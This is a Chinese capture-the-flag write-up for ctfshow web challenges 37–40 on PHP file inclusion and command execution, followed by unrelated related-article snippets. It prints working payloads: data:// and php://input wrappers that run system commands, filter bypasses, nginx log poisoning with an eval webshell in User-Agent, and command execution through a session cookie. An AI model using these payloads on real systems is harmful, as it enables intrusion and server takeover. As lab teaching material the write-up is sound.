ctfshow-web入门-命令执行(web37-web40)

目录

1、web37 

2、web38

3、web39

4、web40


命令执行,需要严格的过滤

 

1、web37 

使用 php 伪协议:

?c=php://input

post 写入我们希望执行的 php 代码:

<?php system('tac f*');?>

拿到 flag:ctfshow{5c555d9a-6f55-411a-a25f-d38b70240639}

再看 wp 它用到是 data:// 协议,也是 php 伪协议

payload:

?c=data://text/plain,<?php system('tac f*')?>

利用源码中的 include($c); 将我们想要执行的代码包含进去,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。

2、web38

新增过滤 php 和 file

php 短标签:

<? echo '123';?>  #前提是开启配置参数short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?>  #不需要开启参数设置
<% echo '123';%>   #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。

我们使用一个没有前提条件的进行绕过,构造 payload:

?c=data://text/plain,<?=system('tac f*')?>

拿到 flag:ctfshow{924d4c68-d3ad-4188-bfbd-6b1d6b5f60b2}

也可以这样写:

?c=data://text/plain,<?=`ls`;

?c=data://text/plain,<?=`tac f*`;

我们也可以采用编码绕过,对 <?php system("tac flag.php");?> 进行 base64 编码再传入:

构造 payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==

查看提示,还可以包含 nginx 的日志文件拿 shell:

对于Apache,日志存放路径:/var/log/apache/access.log

对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

访问一下日志文件,确实有东西:

?c=/var/log/nginx/access.log

服务器开启了记录日志的功能,就可能导致日志包含漏洞,用户可以进行任意文件读取:

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。 

从上面的日志信息可以看出是 User-Agent 的内容,这里我们使用 burpsuite 抓包,在 User-Agent 里插入一句话木马 :

<?php @eval($_REQUEST['cmd']);?>

上蚁剑,连接的文件就是日志文件:

进来后就可以直接看到 flag.php:

我们写的马就在这里:

但是在前端包含出来却看不到:

3、web39

这次的方式不一样了,还会在传入的内容后面拼接 .php,由于它把 flag 过滤掉了,而且这里包含后也没有输出 $flag 的语句,因此我们需要自己来调用,用 web37 的 payload:

为了看起来好一点便于后面的理解,这里我们用 cat 来读取

?c=data://text/plain,<?php system('cat f*')?>

传入后的内容为:

<?php ...

include(<?php system('cat f*')?>.php); 

读取 flag的 php 语句已经正常闭合,所以后面拼接的 .php 不会产生什么影响

拿到 flag:ctfshow{be201a78-e3b6-4957-8016-f61b31341ded}

我们也可以将整个 php 代码闭合掉,让 .php 不执行而是被直接显示:

?c=data://text/plain,<?php system('cat f*')?>)?>

4、web40

首先说一下这里正则匹配有几处用到了多个反斜杠的原因:

在正则表达式中,美元符号 $ 通常表示字符串的结束位置,为了匹配字面上的美元符号 $,需要使用反斜杠进行转义,即 \$;在正则表达式中,一个反斜杠需要使用 \\ 表示,但由于在 PHP 字符串中,反斜杠也需要转义,所以需要四个反斜杠 \\\\ 来表示正则表达式中的一个反斜杠。

晃眼一看这里几乎把所有符号都过滤掉了,但是仔细一看这里过滤掉的括号是中文的括号:()

也就是说英文的括号其实是能用的:()

使用无参数的 payload:

show_source(next(array_reverse(scandir(pos(localeconv())))));

拿到 flag:ctfshow{ebf5b012-7536-4a50-8049-37ebe85ca7c4}

看下提示,还有另一种做法:通过 cookie 获得参数进行命令执行

session_start() 函数用于启动一个新的 PHP 会话,session_id() 函数返回当前会话的会话 ID,将会话 ID 作为系统命令执行。使用 session 之前需要先用 session_start() 告诉 php 使用session,php 默认是不主动使用session的,也就是说原本的cookie 里是没有 PHPSESSID 这项的:

请求 

?c=session_start();system(session_id());

再次抓包即可看到 cookie 多出了 PHPSESSID 这:

修改 PHPSESSID 为我们希望执行的命令,即可实现命令执行:

但是这里并不能直接命令执行读取 flag,在标准的 PHP 会话管理中,会话 ID 不应包含空格。

美元符号 $ 也不行

其他一些命令是可以正常执行的

那么这里如何读取 flag.php

还是用 show_source ,构造 payload:

show_source(session_id(session_start()));

也可以用 highlight_file 或者  readfile 函数

但是会遇到前面的这个问题,会话 ID 包含了非法字符,点是不可以的

还有另一个问题:

在 PHP 中,一旦会话被激活,就不能再更改会话 ID。

折腾了一下到后面只要传入 show_source(session_id(session_start())); 就会显示容器有问题了

重启容器也没有解决这个问题:

Cannot change session id when session is active in

应该是题目搭建环境不一样吧,不折腾了,知道有这种方法就行。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/23944.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mongodb数组元素更新之使用$定位数组第一个元素

学习mongodb&#xff0c;体会mongodb的每一个使用细节&#xff0c;欢迎阅读威赞的文章。这是威赞发布的第63篇mongodb技术文章&#xff0c;欢迎浏览本专栏威赞发布的其他文章。 阅读了不少Mongodb的文章&#xff0c;也和同事交流过。Mongodb数组更新是比较难理解的地方&#x…

EXCEL多sheet添加目录跳转

EXCEL多sheet添加目录跳转 背景 excel中有几十个sheet&#xff0c;点下方左右切换sheet太耗时&#xff0c;希望可以有根据sheet名超链接跳转相应sheet&#xff0c;处理完后再跳回原sheet。 方案一 新建目录sheet&#xff0c;在A1写sheet名&#xff0c;右键选择最下方超链接…

问题:材料题请点击右侧查看材料问题 查看材料 #学习方法#经验分享#学习方法

问题&#xff1a;材料题请点击右侧查看材料问题 查看材料 A.Colleges may reduce their enrollment. B.Top universities become increasingly competitive. C.Universities become selective in student admission. D.Colleges invest less in academy and infrastructure…

Go 文件压缩解压

在Go语言中&#xff0c;archive/zip包提供了创建、读取和解压缩ZIP格式文件的功能。 一、创建ZIP文件并添加内容----压缩 package mainimport ("archive/zip""bytes""fmt""io""log""os" )func main() {// 创建一…

el-input中change事件造成的坑

el-input中change事件造成的坑 一、change事件定义二、如果仅回车时候触发 一、change事件定义 仅在输入框失去焦点或用户按下回车时触发 二、如果仅回车时候触发 <el-inputv-model.trim"questionInput"placeholder"请输入你的问题&#xff0c;按回车发送&…

智慧视觉怎么识别视频?智慧机器视觉是通过什么步骤识别视频的?

智慧视觉功能怎么识别视频&#xff1f;智慧视觉是搭载在智能设备比如手机、AI盒子、机器视觉系统上的一个应用程序或特性&#xff0c;采用计算机视觉和人工智能的技术来识别图像或视频中的内容。如果想了解视频识别&#xff0c;就要明白智慧视觉功能会涉及的以下几个关键步骤和…

pxe自动装机

概念 pxe是c/s模式。允许客户端通过网络从远程服务器&#xff08;服务端&#xff09;下载引导镜像&#xff0c;加载安装文件&#xff0c;实现自动化安装操作系统。 无人值守&#xff1a;安装选项不需要人为干预&#xff0c;可以自动化实现。 pxe的优点&#xff1a;1.规模化&…

机器人阻抗控制中的机械阻抗模型

机器人阻抗控制中的机械阻抗模型主要涉及到通过修改机器人与环境接触作业的动力学模型&#xff0c;使其等效为一个期望的阻抗&#xff08;弹簧-质量-阻尼&#xff09;模型。以下是对机械阻抗模型在机器人阻抗控制中的详细解释&#xff1a; 阻抗控制原理&#xff1a; 机器人阻抗…

Python——泰坦尼克号数据分析

目录 🧾1.数据集(部分数据) ✏️ 2、导入数据集与必要模块 ⌨️ 3.数据预处理 1️⃣ isnull函数查看有无缺失值 2️⃣fillna函数填充缺失值 📍 Age字段使用平均值填充缺失值 📍 Embarked字段填充缺失值 3️⃣ 删除缺失值较多的字段 📊 4.数据可视化 1️⃣ di…

流媒体服务器SMS-语音对讲(二)

1.简介 上篇文件介绍了流媒体与设备之间可能的交互场景&#xff0c;本文将介绍客户端或者web端与摄像头对讲的总体流程。 老规矩&#xff0c;介绍一下本人的开源流媒体&#xff0c;点个star&#xff0c;有兴趣一起开发的朋友也可以联系本人&#xff1a;https://gitee.com/inyem…

PostgreSQL的发布和订阅功能

发布和订阅功能在 PostgreSQL 9.0 版本中首次引入,并进一步改进和增强了后续版本中。所以,从 PostgreSQL 9.0 版本开始,就可以使用发布和订阅功能来实现数据复制和同步 发布和订阅功能在 PostgreSQL 中提供了一种灵活、可靠的数据复制和同步机制,具有许多优点和一些缺点:…

[数据集][目标检测]医疗防护服检测数据集VOC+YOLO格式649张7类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;649 标注数量(xml文件个数)&#xff1a;649 标注数量(txt文件个数)&#xff1a;649 标注类别…

echarts学习: 在图表中添加多条y轴会怎么样?

前言 在撰写如何绘制双y轴图表文章时&#xff0c;我突然萌生出了一个想法&#xff0c;如果给图表添加两个以上的y轴会怎么样呢? 带着这个问题我开始了自己的探索之旅。 我找到了一篇优秀的文章作为参考&#xff0c;虽然它需要付费&#xff0c;但是不要紧&#xff0c;文中免费…

Vulnhub-DC-4

靶机IP:192.168.20.138 kaliIP:192.168.20.128 网络有问题的可以看下搭建Vulnhub靶机网络问题(获取不到IP) 信息收集 nmap扫下端口及版本 dirsearch扫下目录 没发现什么敏感信息&#xff0c;看下前端界面 想到会不会存在SQL注入&#xff0c;弱密码等漏洞。 经过测试SQL注入…

k8s网络问题以及容器跨宿主机通信原理

【0】资源配置文件 [rootmcwk8s03 mcwtest]# ls mcwdeploy.yaml [rootmcwk8s03 mcwtest]# cat mcwdeploy.yaml apiVersion: apps/v1 kind: Deployment metadata:labels:app: mcwpythonname: mcwtest-deploy spec:replicas: 1selector:matchLabels:app: mcwpythontemplate:met…

Linux进程间通信之管道

进程间通信介绍&#xff1a; 进程间通信的概念&#xff1a; 进程间通信简称IPC&#xff08;Interprocess communication&#xff09;&#xff0c;进程间通信就是在不同进程之间传播或交换信息。 进程间通信的目的&#xff1a; 数据传输&#xff1a; 一个进程需要将它的数据…

开源WebGIS全流程常用技术栈

1 数据生产 1.1 uDig uDig&#xff08;http://udig.refractions.net/&#xff09;是一个基于Java开源的桌面应用框架&#xff0c;它构建在Eclipse RCP和GeoTools&#xff08;一个开源的Java GIS包)上。可以进行shp格式地图文件的编辑和查看&#xff1b;是一个开源空间数据查看…

​在哪些场景下,使用SOCKS5代理会特别有用?(socks5代理ip)​

SOCKS5代理作为网络协议转换的利器&#xff0c;其独特功能在众多实际场景中展现出了极大的价值。以下是几个特定场景&#xff0c;其中SOCKS5代理的使用将变得尤为重要&#xff1a; 一、网络安全与隐私访问 1.高级渗透测试&#xff1a;在网络安全领域&#xff0c;渗透测试人员…

Java 异常处理 - 自定义异常

在Java中&#xff0c;自定义异常是一种创建新异常类的方式&#xff0c;这些异常类继承自Throwable类或其子类Exception&#xff08;或RuntimeException&#xff0c;如果它是运行时异常的话&#xff09;。自定义异常通常用于描述特定于应用程序的错误情况&#xff0c;以便为调用…